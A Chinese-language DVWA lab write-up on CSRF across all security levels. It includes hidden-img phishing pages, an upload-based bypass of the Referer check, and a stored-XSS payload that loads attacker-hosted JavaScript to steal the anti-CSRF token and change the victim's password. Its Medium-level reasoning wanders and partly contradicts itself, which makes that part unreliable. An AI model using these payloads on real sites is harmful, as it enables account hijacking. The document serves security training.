本文主要内容是在DVWA上进行实验完成实验内容CSRF漏洞原理分析及利用Low级别解题步骤在 DVWA 的Low级别中由于没有任何防护机制无 Token、无 Referer 检查CSRF 攻击非常简单。攻击者只需要构造一个包含恶意参数的 URL诱导已登录的用户点击即可。以下是具体的操作步骤第一步构造恶意 URL首先我们需要分析修改密码功能的正常请求。在 DVWA 中将安全级别设置为Low。进入CSRF模块。尝试修改一次密码例如将密码改为123确认密码也为123。观察浏览器地址栏的变化。你会看到 URL 变成了类似下面的样子http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new123password_conf123ChangeChange这就是攻击的核心修改密码的操作完全通过 GET 请求完成且参数清晰可见。攻击者可以将这个 URL 修改为想要设置的恶意密码例如hackedhttp://127.0.0.1/dvwa/vulnerabilities/csrf/?password_newhackedpassword_confhackedChangeChange第二步制作钓鱼页面为了让攻击更具隐蔽性攻击者通常不会直接发送链接而是将其隐藏在一个看似无害的图片或链接中。创建一个 HTML 文件例如evil.html。编写代码如下将 IP 地址替换为你自己的 DVWA 地址1html 2 head 3 titleFree Money!/title 4 /head 5 body 6 h1恭喜你点击领取 100 万元奖金/h1 7 !-- 方式一隐藏的图片链接 -- 8 a hrefhttp://127.0.0.1/dvwa/vulnerabilities/csrf/?password_newhackedpassword_confhackedChangeChange 9 img srchttps://example.com/cute-cat.jpg alt点击领奖 border0 / 10 /a 11 12 !-- 方式二自动执行的脚本更隐蔽不需要点击 -- 13 !-- 14 img srchttp://127.0.0.1/dvwa/vulnerabilities/csrf/?password_newhackedpassword_confhackedChangeChange width0 height0 border0 15 -- 16 /body 17/html解释方式一诱导用户点击一张诱人的图片点击后浏览器会访问那个修改密码的链接。方式二注释部分利用img标签的src属性。当页面加载时浏览器会尝试加载图片实际上却是向 DVWA 发送了修改密码的请求。这种方式用户甚至不需要点击只要打开了网页就会被攻击。第三步诱导受害者假设受害者管理员已经登录了 DVWA 系统并且浏览器中保存了有效的 Session Cookie。攻击者将制作好的evil.html发送给受害者通过邮件、聊天软件等。受害者打开evil.html。受害者点击图片或者仅仅是打开了页面。第四步验证攻击结果受害者被诱导访问恶意链接后浏览器会向 DVWA 发送请求。由于受害者已经登录浏览器会自动带上受害者的 Cookie。DVWA 服务器收到请求认为这是受害者本人的操作因为带有合法的 Cookie于是执行密码修改。受害者回到 DVWA 页面尝试用旧密码登录或刷新页面会发现密码已经被修改为hacked无法再登录。总结1.构造好攻击代码之后点击攻击代码代码内容诱导点击或者直接自动开启攻击2.点击领取奖励跳转回DVWA页面发现显示密码已经修改了DVWA Low 级别的 CSRF 漏洞之所以存在是因为使用 GET 请求进行敏感操作修改密码这种改变服务器状态的操作应该使用 POST 请求。缺乏 Token 验证服务器没有验证请求是否来自合法的表单。缺乏 Referer 验证服务器没有检查请求的来源网站。通过这个实验我们可以清楚地看到只要用户登录状态有效攻击者可以轻易地利用构造好的 URL 劫持用户的操作权限。low级别的dvwa的csrf题目怎么看自己攻破成功要验证你在 DVWA Low 级别上的 CSRF 攻击是否成功核心在于确认目标账户的密码是否被修改成了你在恶意链接中设定的那个值。这里有几种最直接的判断方法最直接的方法重新登录这是最确凿的证据。攻击前假设 DVWA 的原密码是password。执行攻击你诱导用户其实就是你自己访问了你的恶意页面例如那个包含img src...的页面。验证点击 DVWA 右上角的Logout退出登录。尝试用旧密码password登录 ——应该失败。尝试用新密码你在 URL 里设置的比如123或hacked登录 ——如果成功说明攻击成功。观察 DVWA 页面的反馈当你访问那个恶意链接或者加载包含恶意图片的页面时浏览器实际上是在向 DVWA 发送修改密码的请求。直接访问 URL如果你直接在浏览器地址栏输入那个攻击 URL 并回车。成功现象页面会直接跳转到 DVWA 的界面并显示绿色的提示文字prePassword Changed./pre。通过恶意网页访问如果你使用的是img标签攻击。成功现象虽然你看不到“Password Changed”的文字因为是在加载图片但你可以查看那个图片的请求状态。在浏览器开发者工具F12的 Network 面板中那个图片请求返回的状态码应该是200 OK且响应内容包含Password Changed。数据库验证如果你有数据库权限可以直接查看数据。打开 phpMyAdmin 或命令行连接 DVWA 数据库。查看users表。你会发现password字段变成了你设定的新密码的 MD5 值DVWA Low 级别直接存 MD5。总结最简单的判断标准就是当你被攻击后原本的密码失效了只有用你设定的新密码才能登录 DVWA。代码分析代码逻辑逐行分析1. 接收用户输入 (第 3-5 行)if( isset( $_GET[ Change ] ) ) { // Get input $pass_new $_GET[ password_new ]; $pass_conf $_GET[ password_conf ];触发条件代码首先检查 URL 中是否存在名为Change的 GET 参数。如果存在则开始执行修改密码的逻辑。获取数据它直接从$_GET请求中获取两个参数password_new: 用户想要设置的新密码。password_conf: 确认新密码。关键点这里使用的是GET请求。这意味着敏感操作修改密码是通过 URL 参数完成的而不是更安全的 POST 请求。这导致攻击者可以轻松构造一个恶意的 URL 链接。2. 验证密码一致性 (第 8-9 行)// Do the passwords match? if( $pass_new $pass_conf ) {唯一的验证代码仅检查“新密码”和“确认密码”是否相等。缺失的验证核心漏洞没有身份验证代码没有检查请求是否来自合法的修改密码页面。没有 CSRF Token没有使用一次性令牌Token来验证请求是否由用户本人自愿发起。没有旧密码验证修改密码时通常不需要输入旧密码虽然这不是 CSRF 的直接成因但增加了风险。3. 处理密码与数据库更新 (第 11-16 行)// They do! $pass_new ( ... mysql_real_escape_string ... ); // 防止 SQL 注入的转义 $pass_new md5( $pass_new ); // 密码加密 // Update the database $insert UPDATE users SET password $pass_new WHERE user . dvwaCurrentUser() . ;; $result mysqli_query(..., $insert ) or die( ... );SQL 注入防护代码使用了mysql_real_escape_string虽然在这个特定的 DVWA 版本中写法略显复杂主要是为了兼容性这在一定程度上防止了 SQL 注入但这与 CSRF 无关。密码加密使用md5对密码进行哈希处理。执行更新这是最关键的一步。SQL 语句构建了一个更新命令。WHERE user . dvwaCurrentUser() . 这句代码获取当前已登录的用户名并将其密码更新为攻击者指定的$pass_new。后果如果受害者管理员在登录状态下访问了攻击者构造的链接这段代码会在受害者不知情的情况下将受害者的密码修改为攻击者设定的值。漏洞总结这段代码存在严重的CSRF 漏洞原因如下使用 GET 请求修改状态敏感操作修改密码是通过 URL 参数GET 请求完成的这使得攻击者可以将恶意操作封装在一个简单的链接中例如img srchttp://dvwa/vuln.php?Changepassword_new123...。缺乏 CSRF Token服务器端没有验证请求中是否包含合法的、随机生成的 Token。这是防御 CSRF 最有效的方法之一。完全信任用户会话只要请求中携带了合法的 Cookie即用户已登录服务器就无条件执行密码修改操作无法区分该请求是用户自己点击的还是被诱导点击的。攻击场景模拟基于这段代码攻击者可以构造如下的恶意 HTML 页面html body h1看这张超酷的图片/h1 !-- 当受害者加载这个页面时浏览器会自动向 DVWA 发送修改密码的请求 -- img srchttp://192.168.1.10/dvwa/vulnerabilities/csrf/?password_newhackedpassword_confhackedChangeChange width0 height0 border0 /body /html如果管理员在登录 DVWA 的情况下访问了这个恶意页面浏览器会自动带上管理员的 Cookie 发送图片请求导致管理员的密码被修改为 hacked。medium级别解题步骤DVWA Medium 级别的 CSRF 防御机制相比 Low 级别增加了一道门槛检查 HTTP Referer 头。防御机制分析在 Medium 级别中服务器端代码会检查请求是从哪个页面发来的。1// 伪代码逻辑 2if (strpos($_SERVER[HTTP_REFERER], http://127.0.0.1/dvwa/vulnerabilities/csrf/) ! false) { 3 // 允许修改密码 4} else { 5 // 拒绝请求 6}原理代码会检查HTTP_REFERER注意是 Referer少了一个 r这是历史拼写错误字段。规则只有当请求的来源地址Referer包含http://127.0.0.1/dvwa/vulnerabilities/csrf/这个字符串时服务器才会处理修改密码的请求。目的防止攻击者从外部网站如evil.com发起请求因为外部网站的 Referer 通常会是evil.com不符合规则。攻击思路与操作步骤虽然检查了来源但这个防御非常脆弱因为它只检查了 Referer 中是否包含特定的字符串而没有验证 Referer 是否完全等于白名单也没有使用更安全的 Token 机制。我们可以利用这一点进行攻击。方法一利用本地文件上传最经典既然服务器要求 Referer 必须包含.../dvwa/vulnerabilities/csrf/我们可以把自己的恶意页面放在一个能“伪装”成这个路径的地方或者利用浏览器特性绕过。但在 DVWA Medium 的特定逻辑下更简单的办法是利用 DVWA 自身的文件上传漏洞或者存储型 XSS 来存放恶意代码。不过针对 CSRF Medium最直接的思路是诱导用户在特定的上下文中点击或者利用 Referer 的包含特性。实际操作步骤构造本地 HTML 文件创建一个 HTML 文件在攻击者的电脑或者 DVWA 服务器上的任意可访问目录如果有权限创建一个medium.html。编写攻击代码由于 Medium 级别只检查 Referer 是否包含特定字符串我们可以尝试利用URL 路径特性。但是最简单且成功率最高的方法其实是不需要绕过 Referer而是让受害者访问一个 Referer 看起来合法的页面。等等Medium 级别的逻辑通常是if (strpos($_SERVER[HTTP_REFERER], $_SERVER[SERVER_NAME]) ! false)或者if (strpos($_SERVER[HTTP_REFERER], /vulnerabilities/csrf/) ! false)针对 DVWA Medium 的标准攻击方法是由于我们无法控制受害者浏览器的 Referer通常由浏览器自动发送我们需要寻找 Referer 检查的漏洞。DVWA Medium 的具体缺陷它通常只检查 Referer 头中是否包含 DVWA 的域名或路径。攻击载荷我们可以利用URL 重写或者子目录的概念但在 DVWA 环境中最简单的验证方法是在 DVWA 服务器上如果可以或者本地创建一个文件。实际上Medium 级别的防御很容易被本地文件file://或者其他漏洞配合绕过。最通用的攻击演示步骤假设你无法上传文件到 DVWA 服务器你需要欺骗受害者让受害者以为他在访问 DVWA 的某个页面。步骤构造恶意链接攻击者构造一个链接指向你的恶意服务器或者利用 DVWA 的 URL 结构。但在 Medium 级别如果不配合其他漏洞如文件上传纯 CSRF 很难直接跨站成功除非 Referer 检查逻辑有缺陷例如只检查是否包含http。修正思路DVWA Medium 的代码通常如下if( stripos( $_SERVER[ HTTP_REFERER ] , $_SERVER[ SERVER_NAME ] ) ! false )它检查 Referer 是否包含服务器名称如127.0.0.1。如何攻破如果你能把恶意 HTML 文件上传到 DVWA 服务器本身例如通过 File Upload 漏洞并命名为csrf_attack.php存放在dvwa/vulnerabilities/csrf/目录下那么 Referer 就会变成http://127.0.0.1/dvwa/vulnerabilities/csrf/csrf_attack.php这完美符合检查规则如果没有文件上传权限你可以尝试利用DNS RebindingDNS 重绑定或者302 跳转等高级技巧但在标准 DVWA 练习中通常假设攻击者无法上传文件。但在 Medium 级别还有一个常见的绕过方式有些版本的 DVWA Medium 代码只检查 Referer 是否存在或者检查逻辑不严密。最可行的“手动”攻击步骤构造一个页面放在你自己的服务器上如http://evil.com/attack.html。代码依然是那个img srchttp://dvwa...。关键点Medium 级别通常无法直接通过evil.com攻击成功因为 Referer 是evil.com。所以Medium 级别的标准解法通常是配合“文件上传”先利用 DVWA 的File Upload漏洞如果是 Low/Medium上传一个csrf.html到你的 DVWA 服务器比如上传到hackable/uploads/。然后诱导用户访问http://dvwa/hackable/uploads/csrf.html。当用户访问这个页面时页面里的img标签会请求修改密码的 URL。此时浏览器的Referer头会是http://dvwa/hackable/uploads/csrf.html。如果 DVWA 的代码检查的是$_SERVER[SERVER_NAME](即 dvwa)那么http://dvwa/hackable/uploads/csrf.html包含dvwa攻击成功怎么上传一个包含 CSRF 攻击代码的 HTML 文件到 DVWA 服务器在 DVWA 中上传包含 CSRF 攻击代码的 HTML 文件通常是为了绕过 Medium 级别对Referer的检查。既然攻击代码必须托管在 DVWA 服务器上比如http://dvwa:8088/hack.html这样请求的来源就是合法的 DVWA 域名从而满足 Medium 级别的防御规则。以下是具体的操作步骤利用 DVWA 自带的File Upload文件上传模块来完成准备工作编写恶意 HTML 文件网页需要改成自己的DVWA网址首先在你的本地电脑上创建一个 HTML 文件例如csrf_attack.html内容如下1html 2 body 3 h1这是一个看似无害的页面实际上正在修改你的密码.../h1 4 !-- 这里的 IP 和端口必须是你 DVWA 的地址 -- 5 img srchttp://dvwa:8088/vulnerabilities/csrf/?password_newhackedpassword_confhackedChangeChange width0 height0 / 6 /body 7/html步骤一进入 File Upload 模块登录 DVWA。在左侧菜单中选择File Upload。注意File Upload 模块的安全级别也会影响上传难度。如果 File Upload 是Low直接上传即可。如果 File Upload 是Medium可能需要修改文件的 MIME 类型使用 Burp Suite 抓包修改Content-Type为image/jpeg。如果 File Upload 是High/Impossible通常很难直接上传.html文件可能需要截断攻击或配合其他漏洞。为了方便演示建议将 File Upload 的安全级别暂时调低或者确保你能绕过它的限制。步骤二上传 HTML 文件点击 Choose File选择你刚才创建的csrf_attack.html。点击 Upload。没有抓包修改Content-Type为image/jpeg抓包修改Content-Type为image/jpeg可能遇到的情况及解决情况 A上传成功页面会提示 Successfully uploaded!并告诉你文件保存的路径通常是hackable/uploads/csrf_attack.html。情况 B上传失败提示扩展名不允许DVWA 可能禁止上传.html或.php文件。尝试方法将文件重命名为csrf_attack.jpg.html如果是 Windows 服务器可能无效或者尝试利用截断如csrf_attack.html%00.jpg但这在 PHP 5 较难实现。最简单的绕过如果 DVWA 配置允许你可以尝试上传一个.php文件里面包含同样的 HTML 代码因为 DVWA 的uploads目录通常允许执行 PHP这取决于httpd.conf或nginx.conf的配置。步骤三获取文件路径并构造攻击链接假设上传成功系统通常会显示文件的保存路径。DVWA 默认的路径格式是http://dvwa:8088/hackable/uploads/csrf_attack.html步骤四诱导点击验证 Medium 级别绕过现在你的攻击代码已经托管在 DVWA 服务器内部了。复制上面的链接。在浏览器中打开这个链接或者诱导受害者打开。分析 Referer当你访问.../uploads/csrf_attack.html时页面中的img标签会触发请求。此时浏览器发送修改密码请求的Referer头会是http://dvwa:8088/hackable/uploads/csrf_attack.html。关键点这个 Referer包含了http://dvwa:8088或者是代码检查的特定字符串具体取决于 Medium 级别的代码实现是检查域名还是特定路径。注意DVWA Medium 级别的 CSRF 代码通常是检查 Referer 是否包含$_SERVER[ SERVER_NAME ]即服务器域名/IP。如果你把恶意文件上传到 DVWA 服务器上Referer 就会包含 DVWA 的域名。因此服务器会认为这是合法的内部请求从而允许修改密码。攻击成功总结你不需要复杂的 FTP 工具直接利用 DVWA 的File Upload漏洞模块将你的恶意 HTML 文件上传到hackable/uploads/目录下然后访问该文件的 URL即可完成对 Medium 级别 CSRF 的攻击验证。总结 Medium 级别的攻破方法利用文件上传漏洞首先利用 DVWA 的文件上传漏洞上传一个包含 CSRF 攻击代码的 HTML 文件到 DVWA 服务器例如hackable/uploads/csrf.html。攻击代码 (csrf.html)img srchttp://dvwa:8088/vulnerabilities/csrf/?password_newhackedpassword_confhackedChangeChange /诱导访问诱导受害者访问http://dvwa:8088/hackable/uploads/csrf.html。结果浏览器发送请求时Referer 头为http://dvwa:8088/hackable/uploads/csrf.html。这个字符串包含了dvwa服务器名从而绕过了 Medium 级别的检查。判断成功的方法与 Low 级别一样查看是否能用新密码登录或者查看 DVWA 页面是否显示 Password Changed。核心区别Low不需要考虑来源直接发链接就能改。Medium必须让受害者在一个“看起来像 DVWA 内部”的页面或者 Referer 包含 DVWA 域名的页面点击或加载你的恶意代码。通常通过上传恶意文件到目标服务器来实现。代码分析相较于 Low 级别Medium 级别引入了一个重要的防御机制Referer 检查。核心防御机制Referer 检查代码中最关键的防御逻辑位于第 4-5 行// Checks to see where the request came from if( stripos( $_SERVER[ HTTP_REFERER ] ,$_SERVER[ SERVER_NAME ]) ! false ) {代码含义$_SERVER[HTTP_REFERER]获取用户是从哪个页面跳转过来的即请求的来源页面 URL。$_SERVER[SERVER_NAME]获取当前服务器的域名或 IP 地址。stripos(...)这是一个字符串查找函数不区分大小写。它检查“来源页面 URL”中是否包含“当前服务器名”。逻辑判断如果stripos返回的结果不是false说明来源页面的 URL 中包含了本服务器的名字。也就是说请求必须是从本站点内部发起的。漏洞原理分析虽然增加了 Referer 检查但这个级别的防御依然是脆弱的。防御逻辑服务器试图通过验证 HTTP 请求头中的Referer字段来确保修改密码的请求是从合法的页面即 DVWA 自身的页面发出的而不是从攻击者的恶意网站发出的。绕过方法这种防御机制存在两个主要缺陷导致它很容易被绕过Referer 头可以被伪造HTTP 请求头是由客户端浏览器或攻击脚本发送的。攻击者可以使用代理工具如 Burp Suite或编写脚本如 Python 的 requests 库在发送恶意请求时手动添加或修改Referer字段使其看起来像是从合法站点发出的。示例攻击者构造的请求中可以包含Referer: http://127.0.0.1/dvwa/vulnerabilities/csrf/从而骗过服务器的检查。Referer 头可能为空在某些情况下例如从 HTTPS 页面跳转到 HTTP 页面或者用户在浏览器中设置了不发送 Referer$_SERVER[HTTP_REFERER]可能是空的。虽然这段代码没有显式处理空值但如果 Referer 为空stripos会返回false导致验证失败。但在实际攻击场景中攻击者完全可以控制请求头确保 Referer 存在且合法。代码逻辑流程总结检查来源首先检查 HTTP 请求头中的Referer是否包含服务器名称。如果不包含执行else分支第 32 行输出 That request didnt look correct.拒绝请求。如果包含进入内部逻辑。获取输入从$_GET中获取新密码和确认密码。验证一致性检查两个密码是否相同。更新数据库如果密码一致对密码进行 MD5 加密然后执行 SQL 更新语句修改数据库中的密码。总结Medium 级别的 CSRF 防护是不充分的。它依赖于客户端发送的Referer头而这个头信息是不可信的因为它可以被攻击者轻易伪造。真正有效的 CSRF 防护应该使用Anti-CSRF Token如 High 和 Impossible 级别所示即在表单中加入一个服务器端生成的、不可预测的随机令牌并在服务器端验证该令牌。high级别解题步骤DVWA High 级别的 CSRF 防御机制相比 Medium 级别有了质的飞跃它引入了Anti-CSRF Token。这意味着每次请求都需要一个服务器生成的、随机的、且与用户会话绑定的令牌。因此单纯构造一个恶意链接或页面已经无法成功因为攻击者无法预测这个 Token。要攻破 High 级别通常需要结合其他漏洞最常见的是利用存储型 XSS (Stored XSS)来窃取 Token。 攻击原理XSS CSRF 组合拳Token 机制当用户访问密码修改页面时服务器会生成一个随机的user_token并将其同时存入用户的 Session 和页面的隐藏表单字段中。提交请求时服务器会校验这个 Token 是否匹配。XSS 的作用如果网站存在 XSS 漏洞攻击者就可以注入一段恶意脚本。当受害者访问包含该脚本的页面时脚本会在受害者的浏览器中执行。窃取 Token恶意脚本可以利用浏览器的同源策略因为脚本是在目标网站上运行的读取当前页面的 DOM从而获取到隐藏的user_token。发起 CSRF 攻击获取到 Token 后脚本就可以构造一个包含有效 Token 的恶意请求在受害者不知情的情况下修改其密码。️ 操作步骤这个攻击分为两个主要阶段首先利用存储型 XSS 植入攻击脚本然后触发脚本完成 CSRF 攻击。阶段一利用存储型 XSS 植入恶意脚本可以跳转到DVWA实战XSS漏洞全类型全级别分析与利用详解-CSDN博客具体看high级别的XSS漏洞解题过程与代码分析切换模块将 DVWA 的安全级别设置为 High然后切换到XSS (Stored)模块。构造 Payload我们需要注入一个script标签让它从攻击者的服务器加载并执行一段 JavaScript 代码。script srchttp://你的攻击机IP/csrf_attack.js/script注意High 级别的 XSS (Stored) 对输入长度有限制你可能需要使用浏览器的开发者工具F12修改Message文本框的maxlength属性才能完整输入上面的 Payload。提交 Payload将构造好的 Payload 填入 Message 框然后提交。这样恶意脚本就被永久存储在了 DVWA 的数据库中。阶段二编写并部署攻击脚本编写csrf_attack.js在你的攻击机例如 Kali Linux的 Web 服务器目录下如/var/www/html/创建名为csrf_attack.js的文件并写入以下代码1// 1. 首先向 CSRF 页面发起一个 AJAX 请求以获取包含 user_token 的页面源代码 2var tokenUrl http://dvwa:8088/vulnerabilities/csrf/; 3var xmlhttp new XMLHttpRequest(); 4 5xmlhttp.onreadystatechange function() { 6 // 2. 当请求完成且成功后从响应内容中提取 user_token 7 if (xmlhttp.readyState 4 xmlhttp.status 200) { 8 var text xmlhttp.responseText; 9 // 使用正则表达式匹配 user_token 的值 10 var regex /user_token\ value\(.*?)\ \/\/; 11 var match text.match(regex); 12 var token match[1]; // 获取到的 Token 13 14 // 3. 使用获取到的 Token构造修改密码的 URL 15 var changeUrl http://dvwa:8088/vulnerabilities/csrf/?password_newhackedpassword_confhackedChangeChangeuser_token token; 16 17 // 4. 再次使用 XMLHttpRequest 发送修改密码的请求 18 xmlhttp.open(GET, changeUrl, false); 19 xmlhttp.send(); 20 } 21}; 22 23// 5. 发起第一步的请求 24xmlhttp.open(GET, tokenUrl, false); 25xmlhttp.send();启动 Web 服务器确保你的攻击机上的 Web 服务如 Apache正在运行以便 DVWA 能够访问到这个csrf_attack.js文件。阶段三触发攻击并验证触发脚本让受害者也就是你自己去访问 DVWA 的XSS (Stored)模块页面或者任何会显示留言的页面。脚本执行页面加载时会执行你之前注入的script src...标签从而从你的攻击机加载并运行csrf_attack.js。自动攻击csrf_attack.js会在后台自动执行获取user_token。用获取到的user_token构造修改密码的请求。发送请求将密码修改为hacked。验证结果攻击完成后退出登录尝试用新密码hacked登录 DVWA。如果登录成功则说明攻击成功。 总结DVWA High 级别的 CSRF 漏洞无法被单独利用它展示了纵深防御的重要性。只有当网站同时存在其他严重漏洞如 XSS时CSRF Token 的防护才可能被绕过。这个实验清晰地揭示了漏洞组合攻击的威力。代码分析相较于 Low 和 Medium 级别High 级别引入了目前防御 CSRF 最有效的手段之一Anti-CSRF Token令牌验证。核心防御机制Token 验证代码中最关键的防御逻辑位于第 5 行// Check Anti-CSRF token checkToken( $_REQUEST[ user_token ], $_SESSION[ session_token ], index.php );代码含义$_REQUEST[user_token]获取用户提交表单时携带的隐藏字段user_token。$_SESSION[session_token]获取存储在服务器端当前用户会话中的 Token。这个 Token 是在用户加载页面时由服务器生成并保存的。checkToken(...)这是一个自定义函数在 DVWA 的其他文件中定义它的作用是比对上述两个 Token 是否一致。如果一致脚本继续执行。如果不一致或缺失脚本会终止并跳转到index.php。漏洞原理与防御分析High 级别的代码逻辑如下请求处理流程检查 Token在处理修改密码请求之前首先调用checkToken验证用户提交的 Token 是否与服务器 Session 中保存的 Token 匹配。获取输入获取password_new和password_conf。验证一致性检查两次输入的密码是否相同。更新数据库如果验证通过更新密码。生成新 Token在脚本的最后第 35 行调用generateSessionToken()生成一个新的 Token用于下一次请求。为什么 High 级别很难被 CSRF 攻击CSRF 攻击的核心在于攻击者诱导受害者在不知情的情况下发送请求。攻击者的困境攻击者可以构造修改密码的 URL但是他们无法预测或获取受害者当前 Session 中有效的session_token。同源策略限制由于浏览器的同源策略攻击者的恶意网站无法通过 JavaScript 读取受害者 DVWA 页面中的 Token 值。结果如果攻击者构造的请求中不包含正确的user_token或者包含一个旧的/错误的 TokencheckToken函数就会拦截该请求攻击失败。High 级别的潜在弱点理论与实战虽然 High 级别使用了 Token 防御但在特定条件下仍可能存在风险1. 其他漏洞配合如 XSS如果该网站同时存在XSS跨站脚本攻击漏洞攻击者可以通过 XSS 漏洞注入脚本来读取页面 DOM 中的 Token然后将其包含在 CSRF 攻击请求中。2. Token 绑定不严格如果 Token 的生成算法过于简单或者 Token 与用户 Session 的绑定不紧密例如 Token 是全局固定的不随用户或时间变化攻击者可能通过预测算法来绕过。但在 DVWA 的标准实现中Token 通常是随机且绑定 Session 的。3. 点击劫持虽然代码防御了 CSRF但如果服务器没有防御点击劫持攻击者可以通过透明的 iframe 覆盖在诱导按钮上诱骗用户在不知情的情况下点击合法的 DVWA 页面上的“提交”按钮。总结Low 级别无防御极易受攻击。Medium 级别使用 Referer 检查容易被伪造绕过。High 级别使用Anti-CSRF Token这是防御 CSRF 的标准且有效的方法。只要 Token 是随机、保密且一次性的单纯的 CSRF 攻击就无法成功。Impossible级别不可被攻破代码分析这个级别之所以被称为 Impossible不可能是因为它在 High 级别的基础上引入了一个最关键的业务逻辑验证验证当前密码Current Password。核心防御机制分析Impossible 级别的防御是多层次的它结合了技术手段和业务逻辑1. Anti-CSRF Token 验证第 5 行checkToken( $_REQUEST[ user_token ], $_SESSION[ session_token ], index.php );与 High 级别一样首先检查 Anti-CSRF Token。这防止了攻击者在不知道 Token 的情况下构造有效的恶意链接。2. 验证当前密码第 20-28 行这是最核心的防御点。代码不仅要求输入新密码还要求输入当前密码。// Check that the current password is correct $data $db-prepare(SELECT password FROM users WHERE user (:user) AND password (:password) LIMIT 1;); $data-bindParam( :user, dvwaCurrentUser(), PDO::PARAM_STR ); $data-bindParam( :password, $pass_curr, PDO::PARAM_STR ); $data-execute();逻辑在更新密码之前系统会从数据库中查询当前用户的密码并与用户提交的password_current进行比对。防御原理CSRF 攻击通常发生在用户已登录的情况下攻击者诱导用户点击链接。攻击者可以构造包含新密码和有效 Token 的链接。但是攻击者不知道用户的当前密码。当用户点击恶意链接时由于请求中没有包含正确的“当前密码”数据库查询将返回空结果rowCount() 0导致密码修改失败。3. 使用 PDO 预处理语句第 20-24 行$data $db-prepare(SELECT ...); $data-bindParam(...);代码使用了 PHP Data Objects (PDO) 的预处理语句来查询数据库。这不仅防止了 SQL 注入也确保了数据处理的规范性。4. 最终的逻辑判断第 31 行if( ( $pass_new $pass_conf ) ( $data-rowCount() 1 ) ) {只有当新密码与确认密码一致并且当前密码验证通过数据库返回行数为 1时才会执行密码更新操作。总结Impossible 级别的防御策略Token 验证防止简单的跨站请求伪造。当前密码验证这是决定性的一步。即使攻击者能诱导用户点击链接也无法提供正确的当前密码从而彻底阻断了攻击路径。因此在 Impossible 级别下除非攻击者已经知道了用户的当前密码这意味着账户已经泄露否则无法通过 CSRF 漏洞修改密码。